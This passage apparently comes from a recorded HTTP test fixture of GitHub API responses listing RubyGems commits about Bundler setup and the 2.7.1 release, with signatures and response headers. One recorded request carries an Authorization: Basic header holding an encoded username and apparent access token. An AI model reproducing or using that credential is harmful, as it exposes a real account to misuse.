v1\n\niQIcBAABAgAGBQJZ/QgoAAoJEAEZW7MV3ahW7BUP/iJCMUrepGr8oUJcLeoxk4SX\nsmlGngfZAYghvHoo6UNbPvRPUaddt3bxqypPNjI6zibu15xaEAJk3I6DkSxwZJsn\nLCk2kv/L7r9c0fu/e/0Tos0vfcUP5/Dhs7IatXIBNhlgEtucuRH+iHHKE2VyVDmw\nm1qncTiTAkqPhdLqPn0ssFWZR/yT3yEmdtBRycliTZ+5/L7Ktc8zZNWGoK344H9x\npbBYgO0cl//QGUJnCqkvwoUNuxfq7MCgIKLYuL6fC8mdEextDDtSPjRy7owwX/O+\nJ7L12wZIm9dD8pbGWPHMtMOlEevm6Y4PPtzDtlgCz42Bg9PM1e3Q4rqgLOkiueoS\nhoTNjYLt1a6gJ1N5v9N+Xz+n2N0bpzvLHMITFY1m8TGvf56PDjbGpDs/Op3Xn3x+\nhjmloGlXkWZ29UDuHlZPAbuw9plBho0RSb4Sk2DatKWPRHV/Cwl3FQzGnx/LVYGc\nKAVSx4crraxRPnjtZ73voKhTKAAOALWmashL3S8zVQIjctMPfsQis0UTmw/2N+h3\nnkbrmwEGsG4PxpdCOJ6VcLaedM8vnIWj0kbFL82utScE5T8RgM/KX+KmPMKr1yG1\nvqZyUGxslATohn7WrKsXsZ1eXa8ugqnYBHg0TdR2kgwPQWxJDtbvYgdV0uwMsGno\nKCUiKUVnEKsmyn0FmCkE\n=uDof\n-----END PGP SIGNATURE-----","payload":"tree c1034b36ebcc7655c4058991586a7643b270c995\nparent ab8ee5e20ce9186a1d383f4c721415e0ee7f595c\nauthor Samuel Giddins 1509754920 -0500\ncommitter Samuel Giddins 1509754920 -0500\n\nVersion 2.7.1 with changelog\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","html_url":"https://github.com/rubygems/rubygems/commit/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"ab8ee5e20ce9186a1d383f4c721415e0ee7f595c","url":"https://api.github.com/repos/rubygems/rubygems/commits/ab8ee5e20ce9186a1d383f4c721415e0ee7f595c","html_url":"https://github.com/rubygems/rubygems/commit/ab8ee5e20ce9186a1d383f4c721415e0ee7f595c"}]},{"sha":"ab8ee5e20ce9186a1d383f4c721415e0ee7f595c","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-03T23:45:00Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-03T23:45:00Z"},"message":"Auto merge of #2054 - rubygems:seg-pkg-bundler-gemspec, r=segiddins\n\nFix `gem update --system` with RubyGems 2.7+\n\n# Description:\n\nFixes #2052.\n\nBy including the bundler gemspec in the manifest, it should allow the setup task to succeed when run from the published rubygems-update gem, and not just from source.\n\nWhen we merge this, I will release 2.7.1 ?","tree":{"sha":"78dbe342b4b585fea57ec1d94dfb342dc863ac88","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/78dbe342b4b585fea57ec1d94dfb342dc863ac88"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ab8ee5e20ce9186a1d383f4c721415e0ee7f595c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ab8ee5e20ce9186a1d383f4c721415e0ee7f595c","html_url":"https://github.com/rubygems/rubygems/commit/ab8ee5e20ce9186a1d383f4c721415e0ee7f595c","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ab8ee5e20ce9186a1d383f4c721415e0ee7f595c/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","url":"https://api.github.com/repos/rubygems/rubygems/commits/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","html_url":"https://github.com/rubygems/rubygems/commit/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c"},{"sha":"150e6968c45f7948fa8810d5112fe3bd922d43a3","url":"https://api.github.com/repos/rubygems/rubygems/commits/150e6968c45f7948fa8810d5112fe3bd922d43a3","html_url":"https://github.com/rubygems/rubygems/commit/150e6968c45f7948fa8810d5112fe3bd922d43a3"}]}]' http_version: recorded_at: Sat, 06 Jan 2018 14:59:33 GMT - request: method: get uri: https://api.github.com/repositories/614070/commits?page=6&per_page=30&since=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:33 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4626' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"5d040529f1a1b6d18c44f8fc68d52609" Last-Modified: - Fri, 03 Nov 2017 01:06:50 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.087905' X-Github-Request-Id: - C416:4D96:9712DE:13A304D:5A50E455 body: encoding: ASCII-8BIT string: '[{"sha":"150e6968c45f7948fa8810d5112fe3bd922d43a3","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T01:06:50Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T01:06:50Z"},"message":"[Setup] Ensure bundler_spec.files does not contain bundler/ prefix","tree":{"sha":"78dbe342b4b585fea57ec1d94dfb342dc863ac88","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/78dbe342b4b585fea57ec1d94dfb342dc863ac88"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/150e6968c45f7948fa8810d5112fe3bd922d43a3","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ+8EqAAoJEAEZW7MV3ahWlWsP/15ZQDKip6gLzmpLmTnCz3ot\n/PUPHDD6IDAjAX9Dea1yPRnhJGuAAG69S7AVrOvNvTWOYA9ANfeqWefTfv48RjuG\nLykHFflnuX3a8WaEzUuULCC+U9NDWe3xgrRTsFETZlrcyzE2Hy7xXEy620ACr8XT\nqNjpkJYNxd8hDHw0bk2C2dyIqAFd2qgaq5jiDkPmZqSZYIHmCq/rdrYvQ/ODqH7P\nsUGpAV7KlIyUEVRtDvYBLmld63MM2bDbzMm3WN5/kQZQ80/EYX9hxACk7K7GHqh2\nTTjQ60/nszqps4rCrnTLhLqWaoQ6TG5a0FeRyTKEePvw60o2eAr4/kdJuZBbw0Uj\nFIldWshyy2V4bdn1qBNT/f6HDA2ReWJbbsJyzN6p2gEObizI6GTH/ec1w9kNxLk7\n3U7zxNCgcWCNhg8TGV9pPDn1MVVMBFTAgRwL3RaGJIPqkPrRaC2bbgeXqV5/5Sqp\nVLEJv6zJIOuL5l0CETOVa/chZItPHEhNG0QZUCFoCVML17b3y1bRXS06ZmtnQ0Gb\nndwNOJ1f5vblYoJuitA4MvFsTsi9bbd4x9T5xkoHGxYGdki4s5WkwtIv2+osxND6\nTd+Fz8bYIy6roXk3CH0nIrDCEWKC4pAn53Y/ODvawulXQl99kqc/ugw9FIHjgyBJ\nmf+DYp/wCKP6HvFnN6Ie\n=5PH7\n-----END PGP SIGNATURE-----","payload":"tree 78dbe342b4b585fea57ec1d94dfb342dc863ac88\nparent 7694518525704190d067bf8701faf7bc33b0812e\nauthor Samuel Giddins 1509671210 -0500\ncommitter Samuel Giddins 1509671210 -0500\n\n[Setup] Ensure bundler_spec.files does not contain bundler/ prefix\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/150e6968c45f7948fa8810d5112fe3bd922d43a3","html_url":"https://github.com/rubygems/rubygems/commit/150e6968c45f7948fa8810d5112fe3bd922d43a3","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/150e6968c45f7948fa8810d5112fe3bd922d43a3/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"7694518525704190d067bf8701faf7bc33b0812e","url":"https://api.github.com/repos/rubygems/rubygems/commits/7694518525704190d067bf8701faf7bc33b0812e","html_url":"https://github.com/rubygems/rubygems/commit/7694518525704190d067bf8701faf7bc33b0812e"}]},{"sha":"7694518525704190d067bf8701faf7bc33b0812e","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T00:53:19Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T00:53:19Z"},"message":"[Setup] Ensure the default specs dir exists when installing bundler","tree":{"sha":"3082e04ad34fe801c1ccc50a17f225cef77c998b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3082e04ad34fe801c1ccc50a17f225cef77c998b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/7694518525704190d067bf8701faf7bc33b0812e","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ+73/AAoJEAEZW7MV3ahWC+EP/A4qN772zWB3ktz2/36bAhig\n159aXhAl0595W0PYIExid56PPP//wFCJbX5vvLFLxZuxJmuevNMrNsiOqhX7+VmN\nVEvLbBUTSB+rt1Zr4P/LWEpXsfxdvSp1j1TAv0Qpkdj/tCGIqDFluF++Rn3RoN3/\ndhp/TQcsEWQMh7VGS+25mNUzCGNqidCP+hqGw3++zT2fG48+EWWSkBzXBsybixOy\n1boNT+m4e1jBSwNYnv5LgTLnfMByReXpA+JnqjjSW4cZlYaQTjz2AZtkbC5nw5mm\neCQFYfXD9Q7RWjzg5shA4LywS2QjZ093TVwESnD5EGHkctfHMfEg5PI8NBLT6b5C\nzgMjA/rf2rN0xRSTqssBvXG/us+ThIHEe7Pt06Hhm+8QF/2ojXk4IB7cqUN+DVp1\nwef9YTvYJlN9jXKUGuZheTZOYR2Pzsl/JKXSzoKzF6Lkh0onACh2+QK90q7qyS83\nynHLJtoejDuTFi39aoMB4tXdQqXUmG1yg+VIQMBnKWO0YwYjJnemI1+GTE2YL8t7\nRR0ezi1LK5hFXRzJfLzU4L8MTzYIbt8Z5j0mnGguGSo2+zuP067un5jNlFBdljyV\ngKCMCTrBd7bUfCTKrrLuUcLIpiMexPGzveKBMiWsabSxxW6Yraski2uHh1aGrIKs\n8s5PsvzBwbCa1TGUaboB\n=YUKE\n-----END PGP SIGNATURE-----","payload":"tree 3082e04ad34fe801c1ccc50a17f225cef77c998b\nparent 5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83\nauthor Samuel Giddins 1509670399 -0500\ncommitter Samuel Giddins 1509670399 -0500\n\n[Setup] Ensure the default specs dir exists when installing bundler\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/7694518525704190d067bf8701faf7bc33b0812e","html_url":"https://github.com/rubygems/rubygems/commit/7694518525704190d067bf8701faf7bc33b0812e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/7694518525704190d067bf8701faf7bc33b0812e/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83","url":"https://api.github.com/repos/rubygems/rubygems/commits/5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83","html_url":"https://github.com/rubygems/rubygems/commit/5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83"}]},{"sha":"5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T00:52:51Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T00:52:51Z"},"message":"[Setup] Dont install bundler when there is no default specs dir","tree":{"sha":"f4b7fd4253bcd671f18d8503d86aa86d95fd5047","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f4b7fd4253bcd671f18d8503d86aa86d95fd5047"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ+73jAAoJEAEZW7MV3ahWBrUP/3JM/HTREOFxatui3fxG0GTu\nJqaOyDr/K9xC9m9EYtI4j1Q69uDyqtVG4vvjVHDXgyTItzWuoMndfe9ulvbW61zq\nlgecANmiXWTKK8IxWCajHeXHkicdlzY5BZXqqpKrpV+IM+fs/9T2+21mIjAIUU0F\nOVQ8miGSZEXrF1bOLd05bmhkxfNSAwOK0UdrQ56F9qdladdeEJqpSKw3sKLun36T\nM0hRMf0J8bEKiMwsFTrovITP5ALbPPJ9MYURh8hmevyxCi/N8/jAtNJb06HS1mll\nP7SYUEemoVeWsk82CF2zDyh2Sv7Nbzh5gVObvvjFIqTXw9x7/VNo3qDDpFzd3Xb0\n0LIY3Qt64f1yUWPnxI3ieY4wWigTqUkr0Ug+69BYTGux3vF1ah5xsUef02VgbnT5\n2UbFNjHx86z+6vWexc56nj9tIkIKimqgWt9kNstCd3q7G157feqEbGZ1bvQ+iv8s\nwFHSZdlLrY3j6NPJ8Q1V0YtKAoOWuDOP9ChjbxcPdz1cC78ustkieXAQqv68UY76\n6A+0rt0lvIPTRxwyZoZzFrDZCO/08uMGmPxHqT14p2ZgMEKKZtj3zk+DGU2j8+ol\nfaraw26iN1+xyX0zMkbFKN0XCryqrNavvHeaoewEmopUThKbK/glLOrBFeBNyaIP\nm6uXAGR8h+JxQ7yRYjBI\n=19b7\n-----END PGP SIGNATURE-----","payload":"tree f4b7fd4253bcd671f18d8503d86aa86d95fd5047\nparent 41973ff6f8809ed5dc8b14ba72daa35364c1dbe9\nauthor Samuel Giddins 1509670371 -0500\ncommitter Samuel Giddins 1509670371 -0500\n\n[Setup] Dont install bundler when there is no default specs dir\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83","html_url":"https://github.com/rubygems/rubygems/commit/5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"41973ff6f8809ed5dc8b14ba72daa35364c1dbe9","url":"https://api.github.com/repos/rubygems/rubygems/commits/41973ff6f8809ed5dc8b14ba72daa35364c1dbe9","html_url":"https://github.com/rubygems/rubygems/commit/41973ff6f8809ed5dc8b14ba72daa35364c1dbe9"}]},{"sha":"41973ff6f8809ed5dc8b14ba72daa35364c1dbe9","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T00:21:46Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T00:21:46Z"},"message":"[Setup] Say what version of Bundler has been installed","tree":{"sha":"4e33b64642087301e1c73a98240fe1d37b7093cf","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4e33b64642087301e1c73a98240fe1d37b7093cf"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/41973ff6f8809ed5dc8b14ba72daa35364c1dbe9","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ+7aaAAoJEAEZW7MV3ahWbZQQAJF+ojkqxehCubuuPNSSiFV9\n7BC81cefR9L/oyTW2V+H5HhXrdAaR3dOjmVKlRMTuFtmXb6PLcDwEO6RkygXoul6\nyB3Xd6LQI/hRfw3nrNLMg22UGjfXjdV8xJKD4nSjc5MsnMafMoSxR6mYVL8d/44p\n7nf+jmApAu0ZXbG3hFuwmUACqe+sBOVkQLpngukqOaWT0/hNL7IdkZEcwFhbHxKW\nhQrE5Qmw4NwZX3v3sJRejxqRJNYsNkyFmREciLaLWxJIZVPNUH23braDcHQ4ghQl\ncIOhFCOY+9I6oQy+bRMWZ4xY1vsl4Jve21BEDXUjVIqdaz+KC/M2IXD0HCL6zMH+\nnujzG7NxW6Tq+KAqRfuzFT2rFF0g2foxqBwi2d3IeYmM4Awl6Z+QmJCmu7/PDWAb\nxYObY1CcLWl+LuFnBkDyOBAP2eUlaiL7Mv1SdvRkKcvejVsKtIucMdBrFmvySll3\nDdXujsbNqdpzX0YgxANQYtvOG0n078U05n0eTl5RXev7SP5EqDwoXfzU2A392Q5z\n3zwJmMF+jyiC+CPxEPyyjCpsuzBBfyYcJBWNYWsguHM3fbNyHmm+ahqYgT0mj+mW\n8XL5sz8CbsX/Ohbbus1QsHxU4OosS7J7cVWlDiuQW57OIuvqeB3yUUWqptMm+030\nTD5pS0L1AqipiryXgHqw\n=bxEP\n-----END PGP SIGNATURE-----","payload":"tree 4e33b64642087301e1c73a98240fe1d37b7093cf\nparent 240b7983caaf9dced2b863855874f656e4067c56\nauthor Samuel Giddins 1509668506 -0500\ncommitter Samuel Giddins 1509668506 -0500\n\n[Setup] Say what version of Bundler has been installed\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/41973ff6f8809ed5dc8b14ba72daa35364c1dbe9","html_url":"https://github.com/rubygems/rubygems/commit/41973ff6f8809ed5dc8b14ba72daa35364c1dbe9","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/41973ff6f8809ed5dc8b14ba72daa35364c1dbe9/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"240b7983caaf9dced2b863855874f656e4067c56","url":"https://api.github.com/repos/rubygems/rubygems/commits/240b7983caaf9dced2b863855874f656e4067c56","html_url":"https://github.com/rubygems/rubygems/commit/240b7983caaf9dced2b863855874f656e4067c56"}]},{"sha":"240b7983caaf9dced2b863855874f656e4067c56","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T00:19:06Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T00:19:06Z"},"message":"[Manifest] Include the bundler gemspec\n\nThis should allow the setup task to succeed when run from the published rubygems-update gem, and not just from source","tree":{"sha":"44805ae6a625f7ac0ee308701a7700bccde020a3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/44805ae6a625f7ac0ee308701a7700bccde020a3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/240b7983caaf9dced2b863855874f656e4067c56","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ+7X6AAoJEAEZW7MV3ahW+mUP/1GwSqZ8Ful9kaWmMs95CAXd\nCQ2ijTvqTg0pwHZqvwVpWlAmFz2UWEfGbeLUUYGH+yEofuOJTpqWzJiY/1kicF2H\nE/4iqHVubLChWfL9VJvlRHohWeUthWgtr35d7Qq0RNtNHc7xAfsUF1fQPzDOakim\nAVQi4vWXKtzkGcHSooSD8SHCapSE5Cf6Z9Mi/5AD8hL6Crtib361UP7hgTbAIVBF\nadBB+mmmOqnpfNCXtQMe2O/ve2HRZV2KGGHlWcygdbYSGBu8yabfbjtzLZQo+SXg\nXX9u7dEBnDRcp7Qd2icacU6CeiDRdl+Bps764+rw7T2pjrIeqGdwMBXwRkq649Xz\nw0dfGs2h17PHmCUxui18q9swaMEmpNNIIULcI8DDWAEuMkHX8AsnYa4p6x8jAEx2\nZhuaf7WURl+L5Y9EipJK1ApzDOc23nOOISmy64vaX0cZNaJjoP8J6xiztOM4DH6V\n6mIUVybXzk2x5SSUTB6spNQAQhTLfsHoWzW5LZn1PyApMVxmJJs9skF+R85XN19l\nzJW5FQXGQIafFIw8cdXYR7M9yVzEADeLEZvCAo0lFYM7KSGlsKw3qsSr/WAOUq4n\nd8kj2gUrNb14V8H55xue1Tp9ZjbOfz98kUuiUeFzByU7D6FSXjKrBdTVDpvbBUA+\nmArEdw0yj4+GFQWB4xtU\n=l97Y\n-----END PGP SIGNATURE-----","payload":"tree 44805ae6a625f7ac0ee308701a7700bccde020a3\nparent c9ce30a46793ee04a68ce320a3fb15d3a26bd15c\nauthor 